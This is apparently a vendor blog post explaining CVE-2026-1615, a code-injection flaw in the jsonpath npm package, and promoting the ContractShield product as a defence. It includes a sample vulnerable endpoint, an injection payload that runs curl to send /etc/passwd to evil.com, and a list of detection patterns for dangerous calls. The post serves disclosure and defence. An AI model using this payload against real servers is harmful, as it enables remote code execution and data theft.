CVE-2026-1615: How ContractShield Blocks Arbitrary Code Injection in jsonpath
3.2M weekly downloads, 1,520 dependents, no fix available — and a single HTTP request gives attackers RCE.
No fix available. All versions of the jsonpath npm package are affected. Immediate mitigation required.
On February 9, 2026, a critical vulnerability was disclosed in the jsonpath npm package — one of the most widely used JSONPath libraries in the Node.js ecosystem. With over 3.2 million weekly downloads, 1,520 dependent packages, and no fix available, this CVE represents an immediate and serious threat to any API that accepts JSONPath expressions from users.
In this article, we break down the vulnerability, show how it can be exploited through a standard API endpoint, and demonstrate how ContractShield's contract-first approach blocks the attack — even when your WAF, API gateway, and authentication all let it through.
The Vulnerability at a Glance
| Detail | Value |
|---|---|
| CVE | CVE-2026-1615 |
| Package | jsonpath (npm) by dchester |
| CVSS Score | 9.8 (Critical) |
| CWE | CWE-94 — Improper Control of Generation of Code |
| Impact | Remote Code Execution (RCE) / XSS |
| Affected Versions | All versions (latest: 1.2.1) |
| Fix Available | No |
| Weekly Downloads | ~3,200,000 |
| Dependent Packages | 1,520 |
Understanding the Root Cause
The jsonpath library supports JSONPath script expressions — the (...) and ?(...) syntax — which allow filtering and computing within JSON queries. Under the hood, the library delegates the evaluation of these expressions to the static-eval module.
The critical problem: static-eval was never designed to safely handle untrusted input. It evaluates JavaScript expressions, and while it attempts to restrict what can be executed, the sandboxing is incomplete. An attacker who controls the JSONPath expression can break out and execute arbitrary JavaScript code.
Every method in the library that processes JSONPath is affected: .query(), .nodes(), .paths(), .value(), .parent(), and .apply().
The Attack Scenario
Consider a common API pattern — a search endpoint that lets users query a JSON dataset using JSONPath:
const express = require('express');
const jp = require('jsonpath');
const app = express();
const products = [
{ name: "Widget A", price: 29.99, category: "tools" },
{ name: "Widget B", price: 49.99, category: "electronics" },
// ... thousands of products
];
// Endpoint: search products using JSONPath
app.post('/api/products/search', (req, res) => {
const { path } = req.body;
try {
const results = jp.query(products, path);
res.json({ results });
} catch (err) {
res.status(400).json({ error: 'Invalid query' });
}
}); A legitimate user sends:
{
"path": "$..[?(@.price < 40)]"
} This returns all products under $40. The API gateway sees a well-formed POST with valid JSON. Authentication checks pass. The WAF sees nothing suspicious. Everything looks normal.
Now an attacker sends:
{
"path": "$[?(require('child_process').exec('curl https://evil.com/exfil?data=$(cat /etc/passwd)'))]"
}
The JSONPath expression is syntactically valid. It passes through every layer of infrastructure security. But when jsonpath evaluates it via static-eval, the embedded JavaScript executes on your server with the full privileges of the Node.js process. The attacker now has Remote Code Execution.
Why Traditional Security Fails
Let's trace the request through a typical security stack:
path is a string — passes jp.query(data, path) — RCE, game over
The payload is "technically valid but business-invalid" — the exact gap that ContractShield is designed to fill. No infrastructure component understands that a JSONPath expression should never contain require(), child_process, or exec(). They only see a JSON string in the right field.
How ContractShield Blocks This Attack
ContractShield operates at the application layer, between your API framework and your business logic. It enforces a contract that defines not just the shape of your data, but the semantics of what's acceptable.
Layer 1: Vulnerability Detection
ContractShield's first line of defense is its built-in vulnerability scanner. Before any contract validation occurs, incoming requests are scanned for known attack patterns:
[ContractShield] ⚠ CODE_INJECTION detected in body.path
Pattern: require('child_process')
Action: BLOCKED (403)
Rule: VulnCheck/CodeInjection
The vulnerability checker recognizes dangerous patterns like require(, child_process, exec(, eval(, Function(, and process. — regardless of where they appear in the request body.
Layer 2: Contract Enforcement
Even without the vulnerability scanner, ContractShield's contract-first approach would catch this attack. Here's a properly defined contract for the search endpoint:
# contractshield.config.yaml
paths:
/api/products/search:
post:
requestBody:
content:
application/json:
schema:
type: object
required:
- path
properties:
path:
type: string
maxLength: 200
pattern: '^\$[\.\.\[\]@a-zA-Z0-9_\*\?\(\)<>=!&|\s,:'\-]*$'
description: "JSONPath expression — alphanumeric filters only"
additionalProperties: false
The pattern constraint defines an allowlist of characters permitted in a JSONPath expression. Legitimate queries like $..[?(@.price < 40)] match the pattern. The attacker's payload with require('child_process') does not — it's rejected before it ever reaches jsonpath.
This is the fundamental difference: ContractShield doesn't try to identify every possible attack. It defines what's allowed and rejects everything else.
Layer 3: Strict Mode
With ContractShield's strict mode enabled, any request field not explicitly defined in the contract is automatically rejected:
[ContractShield] ✗ Contract violation on POST /api/products/search
Field: body.path
Reason: Value does not match pattern ^\$[\.\.\[\]@a-zA-Z0-9_\*\?\(\)<>=!&|\s,:''\-]*$
Status: 403 Forbidden The Bouncer vs. Business Rules Analogy
Think of your security stack as a nightclub:
The API Gateway is the bouncer at the door. It checks your ID (authentication), makes sure you're on the list (authorization), and confirms you're at the right venue (routing). The attacker has a valid ID and is on the list.
ContractShield is the set of rules inside the venue. Even though you got past the bouncer, you can't bring weapons inside, you can't access the staff area, and you can't change the music. ContractShield understands the business logic — what a JSONPath expression should look like — and enforces it.
The bouncer saw a person with a valid ticket. ContractShield saw someone trying to smuggle in a weapon.
Why This CVE Is Particularly Dangerous
Three factors make CVE-2026-1615 especially concerning:
No fix exists
Unlike many CVEs where upgrading solves the problem, every version of jsonpath is vulnerable. The library's architecture fundamentally relies on static-eval for script expressions, and there's no patched release.
Massive blast radius
With 3.2 million weekly downloads and 1,520 dependent packages, this vulnerability sits in the dependency tree of countless applications. Many developers don't even know they're using jsonpath — it may be pulled in as a transitive dependency.
Trivial exploitation
The attack requires no authentication (if the endpoint is public), no special tools, and no chain of exploits. A single HTTP request with a crafted JSONPath expression is all it takes.
Immediate Remediation Steps
If you're using the jsonpath package, here's what to do right now:
- 1. Audit your codebase for any place where user input flows into
jp.query(),jp.nodes(),jp.paths(),jp.value(),jp.parent(), orjp.apply(). - 2. Add ContractShield to validate and constrain JSONPath inputs before they reach the library.
- 3. Consider migrating to
jsonpath-plusv10.0.0+ which changed its default evaluation engine to be safer. - 4. If migration isn't possible, never pass user-controlled strings directly to jsonpath methods. Pre-validate with a strict regex or use ContractShield's contract enforcement.
# Node.js
npm install @cshield/core @cshield/express
# Python (if using a Python JSONPath library)
pip install contractshield
# Java/Spring Boot
# Add dev.contractshield dependency to pom.xml Conclusion
CVE-2026-1615 is a textbook example of why application-layer security matters. Infrastructure security — WAFs, gateways, authentication — is necessary but insufficient. When an attacker crafts a request that's technically valid HTTP, valid JSON, and valid for your schema, only something that understands business semantics can stop it.
ContractShield was built for exactly this gap. By defining what your API should accept — not what it should reject — you create a positive security model that blocks entire categories of attacks, including zero-days like this one where no fix exists.